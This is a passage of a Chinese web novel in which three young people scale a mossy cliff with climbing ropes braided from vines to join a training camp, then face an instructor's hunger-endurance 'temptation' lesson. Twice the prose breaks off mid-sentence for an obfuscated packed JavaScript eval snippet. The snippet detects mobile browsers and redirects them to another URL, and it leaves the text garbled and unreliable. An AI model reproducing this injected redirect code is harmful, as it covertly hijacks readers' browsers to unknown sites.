这悬崖足有上百米高,即使下面是一个水潭,从这么高的地方跳下来,就算不摔成一团肉泥,也得筋断骨折,一命呜呼。 唐镜和郑落落面面相觑。 那个男人的身形开始如同一块磐石,随着飞瀑往下坠落,但是只下落了短短的一瞬,就见他的降速突然减缓,就好像有一只无形的手托着他一样。 那只立在他肩膀上的雄鹰,展开了翅膀,在他的头顶盘旋,随着他缓缓下降。 唐镜这才看清楚,原来男人的一只手,抓着雄鹰的一只爪子。那只雄鹰就相当于一顶降落伞,虽然雄鹰的力量,尚不足以把他带着往上飞起来,但是却能减缓他下坠的速度。 男人的身形在空中缓缓划出一道弧形轨迹,看他的落点,应该是往她们这个方向而来。 瀑布如一条玉龙,在男人的身后咆哮,阳光里,瀑布溅起的水花形成了一条彩虹,恍惚中,他仿佛走下龙身,踏彩虹而来。 直到男人在唐镜和郑落落面前站定,那只雄鹰唰的一下收起翅膀,重新站在他的肩膀上,两人才回过神来。 男人很年轻,也就二十多岁,英俊的五官甚至给人一种柔和的感觉,可是眼神却冷漠之极。 他目光看过来的时候,唐镜甚至有一种周围空气突然凝结的感觉,就连郑落落这种见了帅哥就发花痴的性子,居然破天荒的往后退了一步,显出几分拘谨来。 “飞鹰哥,虎哥让我送她们三个人过来参加这期的训练营。” 荣仔一口气说完这句话,随后就以迅雷不及掩耳之势,一下子蹿回到车里,轰鸣声里,越野车原地一个一百八十度的掉头,转眼就消失在了来路的尽头。 原来这个像鹰一样孤傲的年轻男人,就是飞鹰。 他看也没有看远去的越野车,目光只冷冷的在三个人身上扫了一眼,他肩膀上的雄鹰,歪着头,锐利的鹰眼也随着他的目光,扫过三人。 男人的眼睛和鹰的眼睛,都透着股子漠然之意。 仿佛这一人一鹰才是同类,而唐镜、郑落落和齐修三个人,则是异类。 “我从来不接受半路加人的做法,你们回去吧,如果一定要来,等明年吧。”飞鹰的声音倒不像他的目光那么冷漠,反而还带着点温和。 他说完以后,不再看三人,双手负在背后,站在那里,看着不远处的瀑布,一动不动。 三人站在路口,路的那面,就是基础训练营的营地。 很明显,只要他站在那里,她们就休想踏进训练营一步。 “怎么样才能让你同意,让我们参加这期的基础训练营?”唐镜大声问道,尽量让自己站的笔直,直视着他的眼睛。 这个时候,绝对不能在气势上示弱! “这是基础训练营的规矩,就算是虎哥亲自送你们过来,也没用的,规矩就是规矩……” “规矩是人定下来的,天下没有完美的人,因此,也就不会有完美的规矩。”唐镜盯着飞鹰,一个字一个字的说,“所以,所有的规矩,都必然有漏洞。” “我觉得你说的很有道理。” 飞鹰沉吟了一下说道,神情依然冷漠,语气依然温和,可是,唐镜似乎看到了一点希望。 “你如果你认同我前面的那句话,那么告诉我,训练营的规矩的漏洞是什么?”唐镜微笑问道,尽量让自己表现的很从容。 即使她的神经已经绷紧到极致。 有漏洞就有机会! “你问了个好问题,所以,我决定给你们一个机会,”飞鹰侧头看向南面,“看见那道山崖没有?” 三人视线跟着他转过去,那是极其陡峭的山崖,近乎垂直上下,大概是因为紧挨着瀑布,所以山崖上长满了青苔,一些藤蔓和小树,从岩石缝隙里面的泥土中长出来。 “那座山崖后面,正在上基础训练营的第一课,你们三个人,谁能在正午十二点之前翻过山崖,加入训练,顺利通过第一课,那谁就可以加入这期训练营。” 年轻男子声音温和,唐镜却觉得一颗心如坠冰窟。 这是一个不可能完成的任务。 现在已经是十点四十五分,要在十二点之前翻过山崖,相当于她们只有一小时十五分钟。 在幻境里面,唐镜、郑落落和齐修,曾经爬过那道如出鞘宝剑的高峰,和那座高峰相比,这山崖并不算高,可是至少那座高峰还有一条路,而这山崖除了滑溜的青苔,就是那种用力一拽就会掉下来的藤蔓和小树。 就算是攀岩高手,想要爬上这座近百米高的陡峭山崖,借助工具,至少也得花费个大半天时间。 要想在规定的时间里翻过这道山崖,除非三个人长翅膀飞过去。 “这算什么机会?”这句话是唐镜从牙齿缝里一个字一个字挤出来的。 “那道山崖,根本不可能有人能在这么短的时间里翻过去!”郑落落也忍不住嚷了出来。 齐修依旧沉浸在他自己的世界里,也不知道有没有听到我们的对话。 “你们翻不过去,并代表别人翻不过去,如果有人能翻过去,而你们翻不过去,只能证明你们的无能。想要半路加入训练营,至少得让我知道,你们不是无能之人吧。” 飞鹰的语气依然温和,可是却把唐镜和郑落落噎的说不出话来。 “先爬了再说!”唐镜知道,再和他讨论这个问题,已经没有任何意义,只是浪费仅存不多的时间而已。 她一手拉住齐修,一手拉住郑落落,大步往山崖下走去。 飞鹰站在原地没有动,所以,他看不到唐镜转身后,浮起的一抹狡黠笑意。 不错,唐镜和郑落落,确实不可能在这么短的时间里爬过这道山崖,但是她们这里,还有一个齐修。 就在打量断崖的时候,唐镜已经想到了一个主意。 当然,这个主意,并不是表明她有把握可以在这么短的时间里翻过山崖,只是多了那么一丝丝的可能性而已。 多一丝丝的可能性,就多一丝丝的希望,有希望,总是好的。 希望齐修不要让她失望。 唐镜拉着齐修和郑落落走到山崖下面,站定以后,郑落落这才反应过来,一把甩掉她的手,瞪着大眼睛问我:“小镜,你是不是疯了?真当我们是蜘蛛侠啊?” “本姑娘自有妙计,成败在此一搏!别罗嗦了,快点帮我扯藤蔓,扯的越多越好,对了,伊峰秋给咱们的甩棍,你随身带着的吧。” 唐镜一边说,一边放开齐修,去扯长在山壁上的藤蔓,簌簌的泥土掉下来,三四米长的藤蔓被我连根拔了下来。 这些藤蔓又轻又韧,不比户外专用的尼龙绳差。 “甩棍当然要随身带了,”郑落落拍了拍口袋,“你想用藤蔓编绳子?不过,就算有绳子,也没什么用处,这山崖到处都是青苔,绳子往哪挂?” “等会你就知道了。”唐镜听到郑落落带着甩棍,心里顿时又安定了几分。 自从齐修像牛皮糖一样黏上她之后,伊峰秋就给她和郑落落准备了几样小防身工具,叮嘱一定要贴身带着。 他说,不怕一万,就怕万一。 这些小防身工具,包括一支高碳纤维甩棍,一把瑞士军刀,一支和唇膏差不多大小的辣椒水喷雾。 没想到在这里派上了用场。 唐镜和郑落落快速扯下了十几条藤蔓,最短的都有两三米长,再把这些藤蔓编成了两条“Y”字形的绳子。 在她们做这些事情的时候,飞鹰一直负手站在不远处,仰头看着旁边的瀑布,神情冷漠,那只大鹰站在他的肩膀上,锐利的鹰眼一直盯着她们。 唐镜和鹰眼视线偶然相接的时候,觉得这鹰的眼睛带着好奇之意。 估计是她神经绷得太紧,出现幻觉了。 绳子编好以后,唐镜让郑落落掏出她的甩棍,然后又拿出自己的甩棍,把甩棍拉到最长,直接锁死卡扣,这样即使大力撞击,甩棍也不会缩回去。 她在每根甩棍上面,都系上了一条绳子。 甩棍牢牢绑在“Y”字形绳子的中间,一个绳头牢牢系在齐修的手腕上,另外两个绳端自然垂下来。 “齐修,现在就看你的了。”唐镜拉着齐修的手,摇了摇。 齐修收回视线,如孩童般清澈的眸子看着她。 唐镜指指山崖,指手划脚,低声对齐修解释了一番,最后,她拍拍他的手背:“那上面有好吃的,我们要快点上去,不然好吃的都被人吃完了。” 郑落落甩来一个鄙视的眼神。 其实唐镜也觉得这样哄骗一个“孩子”是不对的,可是现在没时间计较这个了。 齐修接过两支甩棍,看了看山崖,往后退了大概有十几米远,再向山崖疾奔而来,速度越来越快,一脚蹬上了崖壁。 只见他双脚在山崖上交错蹬出,一下子就蹿到了五六米高的地方,与此同时,他挥出手里的一支甩棍,插进了崖壁间的缝隙里,棍身三分之一都没入了崖壁。 绑在甩棍上的绳子垂下来,绳子的两条末端就垂在唐镜眼前。 她用力扯了扯绳子,甩棍纹丝不动,显然极其牢固。 齐修这时候已经稳稳站住,一只脚踏在甩棍露出来的棍身上,另外一只脚的脚尖踩在山崖上一个浅浅的凹坑里,一只手握着另外一根甩棍,另外一只手抓着一块突出的石块上。 “抓紧时间,快点上去!”唐镜催促郑落落,抓着绳子开始往上爬去。 郑落落此时自然明白了她的意思,赶紧抓住绳子的另外一头,蹬着崖壁,也开始往上爬。 这山崖虽然又滑又陡,可是有了绳子助力,以唐镜和郑落落的身手,自然就没那么难了。 唯一需要祈祷的,就是这两根甩棍足够坚韧。 唐镜记得,伊峰秋说过这些防身小工具都是世界顶级品牌,那高碳纤维的甩棍,是制造飞机机身的材料。 希望他买的不是山寨版。 唐镜和郑落落很快就爬到了甩棍所在的高度,放开绳子,一只手抓住甩棍,另外一只手则抓住崖壁上凸出的地方,两只脚也找到能勉强蹬住的地方。 身体稳住以后,唐镜朝齐修点点头。 齐修双脚又是一个交错蹬出,整个人往山崖上跃去,只是这次因为没办法助跑,所以只蹿出两米不到的高度。 另外一支甩棍被他插进了崖壁间的缝隙,绑在甩棍上的绳子两头垂了下来,落到唐镜和郑落落面前。 两人分别抓住绳子的两头,然后唐镜用力一拽,把第一支甩棍从崖壁缝隙里抽了出来。 齐修扯着手腕上的绳子,迅速收回了第一支甩棍。 唐镜和郑落落则拽着绳子,往第二支甩棍的地方爬去。 就这样如法炮制,三个人很快就爬了五分之一的高度,二十多米高的地方。 唐镜眼角余光发现,飞鹰和他的那只大鹰,居然在和她们近乎平行的位置,爬向山崖顶。 这又滑又陡的山崖,对他来说,似乎并不存在任何难度,只见他手脚并用,任何一个哪怕只能用两根手指抓住的地方,又或者是只有脚尖能踩到的地方,都能帮他稳住身体,借力向上。 好吧,唐镜承认了,不是这段山崖太陡峭,而是她太无能。 不过,至少她还想出了这个笨法子。 飞鹰的神情虽然冷漠,可是看向她们的目光,却多了一丝欣赏之意,很显然,这种攀登方式,以及齐修的身手,有些出乎他的意料。 …… 距离山崖顶还有十几米高度的时候,唐镜感觉到体力已经透支到了极限,头发一绺一绺的黏在脸颊上,汗水啪嗒啪嗒从脸上滑落,贴身的衣服已经全部湿透。 她用眼角余光看了郑落落一眼,发现她的情形和自己差不多。 齐修的情况,比她俩稍微好一点,可是他毕竟承担了最辛苦的任务,所以当唐镜看到他再一次跃起,只不过蹿出了半米多高距离的时候,突然意识到情况有些不妙。 就在这时候,变故突生,齐修跃起落下时,脚尖踩住的那处凹坑,青苔过厚,脚尖直接滑了出去! 看着齐修身体往下一坠,唐镜一颗心险些跳出喉咙! 这个时候,她和郑落落两个人一只手抓着插进岩壁缝隙的甩棍,一只手攀着岩壁上的凸起,而供她们踏脚的地方,也只是勉强能放下半个脚掌而已。 如果齐修掉下来,她们压根就不可能抓住他。 说时迟那时快,齐修身体坠下的瞬间,他手已经挥出,握在手里的甩棍啪的一下插进了岩壁里。 泥土和碎石从甩棍边飞溅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234673|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,落到唐镜的头上、脸上,砸的她隐隐作痛,可是看着齐修握着甩棍稳住了身体,她的眼泪险些落下来。 “吧嗒……”什么东西滴落到她抓着甩棍的手上,有点热,有点粘。 是血。 “吧嗒吧嗒……” 鲜血一滴一滴落下,很快她的手背就殷红了一大片,她这才发现,齐修握甩棍的手的虎口,硬生生被震裂了。 鲜血从他的虎口流出。 唐镜顿时明白了,其实每一次挥动甩棍插进岩壁,即使是尽量利用岩壁的缝隙,可是那强大的反作用力,也在不断对齐修的手掌造成伤害。 “稳住身体,把手先包好!”唐镜仰头冲着齐修大喊,声音嘶哑,这是因为极度的疲惫。 齐修重新稳住身体,摇了摇头,双眼澄澈:“上去再包,时间来不及了。” 唐镜并没有给他提过时间,只是告诉他要尽快上去,本以为,他一直神游在自己的世界里,没想到,他竟然知道要在规定的时间内上去才行。 看着他孩子般干净的眼睛,唐镜咬了咬牙,不再多说,也不想浪费时间矫情,抹了一把汗水,拽着上面甩棍垂下来的绳子,拔出手边的甩棍,让齐修收上去。 不过两米多高的距离,她和郑落落足足爬了五分钟。 她扫了一眼手腕上的表,十一点四十五分。 还有十五分钟,而她们距离崖顶,足足还有十米远,而且这十米的山崖极陡,已经是笔直上下。 唐镜心里一沉,几乎要绝望了,可她还是仰头对齐修笑了笑:“我们不着急,你先歇歇。” “不能歇,时间来不及,好吃的被人吃光了!”齐修摇摇头,说完后,仰头仔细看着上方的岩壁,寻找下一次跃起的落脚点。 “傻瓜,我是骗你的!上面没有好吃的!”唐镜终于忍不住了,冲着齐修大喊道。 “我知道。”齐修没有看她,很平静的回了一句。 唐镜没有说话,只是狠狠咬住了嘴唇,用力攀住绳子,郑落落喃喃说了句:“TMD,齐修到底是真傻还是假傻!” 齐修再一次跃起,虽然一次比一次跃的低,可是,距离崖顶,终究是越来越近了。 最后两米! 手里的绳子突然晃了晃,插在岩壁间的甩棍不知道什么时候,竟然开始往外滑动,甩棍周围的碎石和泥土簌簌掉落。 就在这时候,齐修猛然一个探身,伸手抓住正在滑落的甩棍,另外一只甩棍,不知道什么时候,已经被他插进身边的岩壁。 齐修一只手握着身边的甩棍,另外一只手抓着脚边的甩棍,整个身体,就像一个大写的“U”贴在岩壁上。 而唐镜和郑落落,则悬挂在他脚下甩棍的绳子上。 齐修不能松手,否则以她和郑落落两个人的重量,很快就会把甩棍从岩壁上拖出来。 唐镜和郑落落疯狂的寻找任何可以借力的地方,可是岩壁上那浅浅的凹坑和凸起,不借助手里的绳索,根本没办法稳定两人的身体,那些小树和藤蔓只要稍一用力,就会被连根拔起。 齐修虎口上的伤口,还在不断的流血。 三个人就像挂在断崖上的三只蚂蚱,唯一的倚靠,就是齐修握着甩棍的那只手! 不远处,飞鹰轻松攀着崖壁,眉毛微扬,神情依旧冷漠,语声依旧温和:“只要你们愿意放弃,我可以送你们安全下去。” 唐镜心想应该选择放弃,可是还没开口,就听见齐修很平静的说:“什么是放弃?” 随后,她感觉到一股大力传来,她和郑落落就像两只大鸟一样凌空飞起,一下子被甩上了崖顶边缘。 齐修竟然在瞬间拔掉了脚下的甩棍,借力把她们送到了崖顶,可是很显然,这最后的一下,耗尽了他所有的潜力,一口鲜血从他嘴里喷出来,染红了崖壁。 他单手握着身边的那只甩棍,那只拔出来的甩棍上的绳子,恰好在他挥出去的时候,在他的手臂上绕了一圈,他的身体就像一片落叶,随时都会飘坠下去。 “快点,把他拉上来!”唐镜冲着郑落落大声吼道,双手用力的扯着栓在甩棍上的绳子。 绳子绷得笔直,唐镜和郑落落的手掌已是血肉模糊,可是却依然无法阻止绳子一点一点往下滑动。 她看到,齐修已经失去了意识,也许出于求生的本能,又或者,他本身的特殊,他的一只手还抓着那只岩壁上的甩棍,就如贴在崖壁上的单薄落叶。 “你有两个选择,第一,你们两个放弃参加训练营,我救他上来。第二,我不出手,不管你们两个能不能把他救上来,都可以参加训练营。” 飞鹰不知道什么时候也到了崖顶,站在一边,温和的说道。 唐镜甚至都来不及觉得这是个很邪恶的提议,毫不犹豫的说道:“我放弃!” 郑落落和她几乎是异口同声说出来。 话音刚落,飞鹰已经往崖下扑去,就像一只展翅的雄鹰,下一个瞬间,他已经拎着晕迷的齐修跃上崖顶。 齐修被飞鹰放在地上,双眼紧闭,昏迷不醒,可是右手还握着那根甩棍,鲜血从他的掌缘流下来,顺着黑色的甩棍落到地上。 飞鹰站在一边,把玩着另外一根甩棍。 唐镜和郑落落跪在齐修身边,几乎用尽所有力气,好不容易才一根一根掰开他的手指,让他松开了甩棍,只见他的掌心已经是血肉模糊。 唐镜咬着嘴唇,撕开衣服下襟,扯下一截布条,给他简单包扎了下手掌。 就在包扎的时候,齐修的眉心微微皱了皱,显然,即使在昏迷中,他也感觉到了疼痛。 真不知道,在崖壁上的时候,他用血肉模糊的手掌一次又一次挥出甩棍,神情是如何保持的那般平静。 唐镜抹了一把额头上的汗珠,掏出衣兜里的手机,发现这里压根就没有信号,手机毫无用处。 “能帮我联系下天一馆,让伊峰秋开车把我们接回去吗?”唐镜问飞鹰。 既然已经决定放弃,那就没必要在这里继续耽误时间了,先赶回天一馆那里,再和伊峰秋一起,送齐修去医院。 对于这次放弃,唐镜不后悔。 飞鹰没有说话,从兜里掏出一只扁扁的水壶,形状和军用的水壶差不多,可是大小只有军用水壶的一半大,也不是绿色的,而是铮亮的银白色,像是银制的。 “他只是力竭而已,这里是我们特制的营养补剂,可以在细胞层面上快速修复损伤,供给能量,你给他灌下去,休息几分钟就恢复过来了。” 唐镜眼睛一亮,心里立刻轻松了许多,接过银水壶,全给齐修灌了下去。 果然很有效果,补剂刚灌下去,齐修惨白的脸上,立刻有了血色,还不到三分钟,他就睁开了眼睛。 “我们上来了。”他很平静的说了这么一句话,就从地上站起来,眼睛看着遥远的天际,神游在他自己的世界里,又回到了玉雕状态。 唐镜拉住齐修的手,一把夺过飞鹰手里的甩棍,用一种满不在乎的语气冲他说:“帮人帮到底,把我们送回天一馆那里吧。” 她已经打定主意,如果他不肯帮忙,大不了我们三个人走回去! “在那道山梁后面,训练营的第一堂课已经开始了,你们赶过去,只要能通过第一堂课的考验,就可以和其他学员一起参加这期的基础训练营。” 飞鹰指着几十米外的一道山梁说道,神情依然冷漠,语气却比以前更加温和。 唐镜一时间没反应过来,呆呆看着他。 “你们通过了我的考验,因为在最危急的时候,你们可以为了朋友,放弃自己的目标。只有这样的人,才配做我们训练营的学员。”他的嘴角突然弯起,闪过一丝笑意,给他英气的面容平添了几分孩子气。 唐镜和郑落落茫然的对视了一眼。 “如果你们选择放弃他,我是不会让你们加入训练营的。当然,有我在,我也不会让他出事的,毕竟,虎哥既然送你们来这里,我总会保证你们的安全。”飞鹰耐心的解释道。 其实,当时唐镜在攀登山崖的时候,已经猜到飞鹰应该会保护她们的安全,毕竟,若是这样轻易闹出人命来,天一馆也不会合法存在这么久了。 只是不管怎样,她都不会用齐修的生死去赌。 …… 唐镜拉着齐修和郑落落,向那道山梁走去,走的很从容,很稳定,就像她此刻的心情。 翻过山梁,面前出现一片舒缓的平坡。 只是隔着一道山梁,这里的温度却明显低了许多,大概是因为这里是山里,又是朝北的方向,所以在这个不算冷的初冬,山坡上竟然也积了厚厚一层雪。 冷风送来煮羊肉的香味,唐镜忍不住咽了下口水,同时,我也听到了郑落落肚子里咕咕的叫声。 到现在为止,她们也只吃了一顿早饭,早已经在攀崖的时候消化的差不多了,三个人此刻可以用饥肠辘辘四个字来形容。 在翻过山梁之前,唐镜脑海里想象了许多画面,猜测训练营的第一堂课到底是怎样的。 可是,很显然,没有一种猜测和眼前的景象沾边。 46. 第 46 章 前面地上,铺着一张草席,淡黄色的席子,白色锦缎包边,材质做工都是上上之乘,如一片月光镶在雪地上。 席子前面放着一张紫檀木矮几,上面摆着笔墨纸砚,矮几左边角上还摆着一个天水之青色的阔口瓷瓶,瓶里插着一支艳红如血般的梅花。 一个男人穿着雪白的作战服,盘坐在席子中央,正在矮几上挥毫作画。 从唐镜的角度看去,那支梅花恰好挡住了他下半张脸,只能看见他长长的睫毛垂下来,遮住了眼睛,在眼睛下面投下一弯阴影。 梅花的艳红、眉睫的幽黑,混合在一起,给人一种强烈的视觉冲击感。 唯美却又妖异。 与这幅画面不协调的是,席子的另外一边,红通通的炭火上面,架着一个很大的铁鼎,鼎里面汤汁沸腾,一块一块的羊肉在汤汁里若隐若现。 唐镜闻到的香味正是从铁鼎里传来的。 席子后面不远处,盘坐着二十二个穿着土黄色训练服的人,十八个男人,四个女人,表情很古怪,仿佛正在忍受着巨大的折磨。 正在挥毫作画的男人抬头看过来,含笑说道:“我是江夷,绰号雪豹,可是我更喜欢别人叫我江夷,欢迎加入训练营的第一节课。” 不同于阿虎的豪气,也不同于飞鹰淡漠,江夷的笑容很温柔,声音也没有半分烟火气,反而透出几分儒雅来。 可是不知道为什么,也许是出于本能,唐镜反而变得警觉起来,但表面上还是装做若无其事的样子,冲着江夷勉强笑了笑:“你们正在上课吗?” 江夷放下手里的画笔,微笑说道:“不错,我们正在上课,你们三个过去,跟他们坐在一块就行了。” “难道这节课是在比谁的打坐时间长?”郑落落好奇的问道。 那二十二个学员确实像是在打坐,他们每个人身下都有一个草编的蒲团,而且每个人都盘坐在那蒲团上,紧闭着眼睛,一动不动。 只是他们的表情太古怪太紧张,没有半点打坐时应该有的平静和放松。 “错!”江夷摇摇头,“这节课的内容,叫做‘诱惑’。” “诱惑?”唐镜和郑落落疑惑的反问了一句。 “我们今天没有吃早饭,起床后直接到了这里,从七点一直到现在,”江夷目光扫过他手腕上带着的表,“现在是十二点四十三分,将近六个小时,没有再进食任何东西。” 唐镜隐隐明白了什么。 “我做的羊肉煲,堪称一绝,”江夷话题突然一转,“所有人吃过之后,都会赞不绝口。” “光闻这香味,我就觉得,我以前吃过的那些羊肉煲,简直就是渣。”郑落落咽了咽口水,喃喃的说。 “这鼎里的羊肉,选取的是呼伦农庄里的七个月大的公羊,农庄里的人今天早上把活羊送过来,杀好后,选取肋下最鲜嫩肥美的部分,切块入鼎。” 呼伦农庄在Y市边上的一个郊县里,里面养的羊全是来自呼伦贝尔草原,在Y市鼎鼎有名。 “这鼎是生铁铸成,我专门订做的。做羊肉煲,一定要用这种材质的锅子,传热均匀,烧出来的羊肉才能充分入味。” 唐镜觉得肚子更饿了。 “至于羊肉煲里的那些调料,该用什么产地的,哪些调料用新鲜的,哪些材料用炮制好的,以及什么时候放什么调料,都不能出一点差错,否则羊肉煲的味道,就会差许多。”江夷娓娓道来。 “我可以尝尝吗?”郑落落又咽了咽口水。 “当然可以,羊肉煲已经好了,一直煨在这里,”江夷含笑说道,“你看,大家的碗筷都备好了,谁想吃,随时都可以吃,这么冷的天,吃上一碗热腾腾的羊肉煲,是一种享受。” 确实,在大鼎旁边,放着碗筷。 郑落落哪里还忍的住,迈开步子,就要上前,先给自己来一碗香气四溢的羊肉煲。 唐镜的口水已经在嘴里泛滥成灾,但是看着江夷温雅的笑容,再看看那些学员,总觉得有些不安,赶紧一把拉住郑落落。 “小镜,你拉我干嘛,又冷又饿的,吃饱了才有力气上课!”郑落落嚷道。 “你先别急着吃。教官,你说这节课叫‘诱惑’,能给我讲讲具体内容吗?”唐镜按着郑落落,朝江夷问道。 江夷眼眸幽深:“食欲是人最基本的欲.望,也是活着的最基本要求,对一个饥寒交迫的人来说,美味的食物,无疑是最大的诱惑,甚至远远超过一个脱光了的美女。” 好吧,这点她也赞同。 “这节课叫‘诱惑’,就是考验一个人抵御最本能欲望的诱惑的能力。他们现在,都很冷很饿,”江夷侧头扫了一眼那22个学员,“你们现在的情形,应该和他们差不多,甚至比他们更冷更饿。” “谁一旦抵抗不住诱惑,过去吃了鼎里的羊肉,是不是就出局了!”不用他再说下去,唐镜已经明白了训练营第一节课的内容。 “羊肉在这里,我也没有限制他们的任何自由,他们只要想吃,随时可以过来吃,吃饱了正好有力气离开训练营。他们也许一辈子都没机会吃到我亲手做的羊肉煲,就算出局,也值得了。”江夷含笑说道。 这有多邪恶的人,才能想出这种训练内容! 郑落落有些后怕的看了唐镜一眼。 “这节课多长时间结束?”唐镜几乎是一个字一个字的从牙齿里挤出这句话来,恨不得把自己的眼睛蒙上,鼻子堵住,好感觉不到那羊肉煲的存在。 “我说什么时候结束,就什么时候结束。”江夷慢条斯理的说。 “什么?你说什么时候结束,才能什么时候结束?”郑落落忍不住反问了一句,“难道没有规定时间吗?” “规定时间就不好玩了,不知何时是尽头,才能真正看到一个人的潜力。”江夷笑的温文尔雅,唐镜却有一种给他脸上来一拳的冲动。 规定了时间,不管是十二个小时,还是二十四个小时,就能给人清晰的目标,让人增加抵御诱惑的信心。 就比如一个人跋涉在茫茫沙漠里,若是他清晰的知道,绿洲就在一百公里处,他会坚定的、毫不犹豫的走向目标,而且有很大的可能性到达绿洲。 可是,若是他对目的地没有清晰的概念,不知道这么走下去,哪里才是尽头,那么他只会越走越绝望,越走越没勇气走下去。 “你们这训练营到底是个什么鬼,第一节课就这么邪恶!”郑落落的一双大眼睛,瞪着江夷。 如果目光可以化为利箭,江夷铁定被郑落落的目光射的千疮百孔! “一个连‘诱惑’都抗拒不了的人,有什么资格参加我的训练营呢?”江夷含笑说道。 好吧,唐镜承认他说的很有道理,不过,她还是觉得,能想出这个考验方法的人来,内心一定很邪恶。 “只要我们三个人通过了这节课,就可以参加这期的基础训练营了吧。”唐镜再一次求证,以防后面又出什么幺蛾子。 “是的。”江夷拿起画笔,继续在宣纸上画画,不再理会她们三人。 唐镜看到宣纸上画的是一座高高的冰崖,冰崖壁上探出一支梅花,一只雪豹安静的站在崖边,几乎和冰崖融为一体,它正低头看着那支梅花,琥珀色的眸子平静而专注。 说实在的,到这个时候,反而激起了唐镜的好奇心和好胜心,训练营她是参加定了! 拉着郑落落和齐修走向那群学员的时候,江夷突然说了一句话:“这节课,我会陪所有人到最后。” 唐镜先是一怔,随即明白了他的意思,他也是从早上到现在,滴米未进,而且他会一直这样做,直到这节课结束。 羊肉煲就在他触手可及的地方,而且于他而言,并不存在出局的结果,他要面对的诱惑,比任何人都大。 突然之间,唐镜觉得他没那么可恶了。 唐镜、郑落落和齐修三个人坐在那群学员边上,有人给她们送来三个草编的蒲团,厚厚的蒲团隔绝了雪地的凉意,却阻挡不了冬日寒风的侵袭。 唐镜有武术底子,体质也算不错,可是内衣因为被汗打湿,动的时候没什么感觉,静坐下来没一会,又湿又冷的衣服贴着皮肤,那叫一个难受,更别提一直在咕咕叫的肚子。 又冷又饿也就罢了,偏偏十米之内,就有一大锅炖得喷香的羊肉煲,碗筷都已备好,也没人拦着你不能吃。 唐镜的胃里,就像有只小猫爪子,在不停的挠啊挠啊。她只能紧闭着眼睛,不去看那锅热气腾腾的羊肉煲,可是奈何那香味还在不停的往鼻子里钻…… 她现在总算明白了,那22个学员脸上的表情,为什么那么古怪了,她自己现在脸上的表情,多半也是这个样子。 在饥寒交迫的人们面前,放着一锅热腾腾香喷喷的羊肉煲,能看不能吃,这真是天下最残忍的酷刑了。 郑落落的情形和唐镜差不多。 反倒是齐修,盘坐在蒲团上,双腿交叉成全莲花式,腰背挺的笔直,双眼微阖,除了脸色有些发白之外,看不出半点“忍受折磨”的样子来…… 看着齐修盘坐在蒲团上,如老僧入定,完全不受饥寒和食物的诱惑,顿时让唐镜各种羡慕嫉妒恨,也不知道是因为齐修本人禅定功夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234674|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深,还是因为身体里有莫纳星人的缘故。 就在她打量齐修的时候,眼角余光忽然看见江夷侧头看过来,目光在齐修身上停留了一会。 很显然,在这种情况下,齐修如此凝定的表现,引起了江夷的注意。 不过很快,江夷就收回目光,又开始专心画画。 汗湿的内衣贴着皮肤,越来越凉,唐镜忍不住打了个哆嗦,同时,她听到了牙齿打架的声音,不过不是她发出来的,而是郑落落。 郑落落天生热爱各种运动,跑步、爬山、攀岩、拳击之类的项目,都曾涉猎过,体质比大多数女孩子甚至一些男孩子都要好很多。 可是,她毕竟没有像唐镜这样,从小练传统武术,也没有系统的修习过体术,所以她现在难熬多了。 “小镜,你不、不是和齐修聊、聊过,那什么喜马拉雅山的禅修圣地,可以在冰天雪地里,用、用体温烘干裹在身上的湿、湿毯子,快、快教我。” 郑落落一边哆嗦着,一边在唐镜耳边说道。 唐镜忍不住苦笑了一下,她这是病急乱投医吗? 不错,禅修达到一定境界,确实能够达到这样的效果,如果她有这样的水平,还会冷的直打哆嗦吗? 其实,用现代医学,也能解释为什么禅定到一定境界,人体会出现这样神奇的功能。 科学家已经发现,人把注意力高度集中在自己身体的某个部位上,血液就会大量涌向这个部位,血液会带来热量,这个部位的皮肤温度会比别处高一到两度。 有科学家,曾经给一位有过三十年禅定经验的修士做过测试,让他在入定后,把意念全部集中在手心,结果一分钟后,科学家测出他的手心温度,竟然达到了四十度! 可是他身体的其余部分,都是正常的三十七度。 不管是武术的冥想、佛家的禅定、道家的修真,都很讲究对注意力也就是意念的训练,让修习者能够进入“忘我”的状态,因为这是修行的基础,也是根本。 其实小孩子很容易就能做到“忘我”,玩泥巴,玩沙子的时候,根本听不到爸妈呼叫吃饭的声音。 因为孩子的心,最纯净最直接最简单,所以能够全身心的投入到当下那一刻中,不受过去未来的牵绊。 可是随着年龄的增加,人的心承载了越来越多的牵绊,过去未来都压在心中,想做要到心无旁骛,就越来越难。 所谓修行,就是能够活在当下,不问来处,不究去处。 返璞归真、赤子之心,最是难得。 不知道为什么,就在郑落落问了那句话后,唐镜的脑海里面突然浮现出往日读过的书籍,有关于传统武术的,有关于体术的,还有佛教道教的一些典籍。 这些书,有些是很久以前,在爷爷的逼迫下看的,有些是为了应付体术考试时看的,有些书是什么时候看的,又是为了什么看的,却都已经忘记。 当时应该是生吞活剥,死记硬背下来,根本不理解其中的意思。 可是在这一刻,那些她以为已经遗忘的东西,此刻却变得清晰简洁,就好像它们一直潜伏在脑海深处,此时不知道因为什么原因,开始从大海的深处苏醒过来。 “发呆……”唐镜喃喃说出这两个字来,像是在回答郑落落的问题,又像是在自言自语。 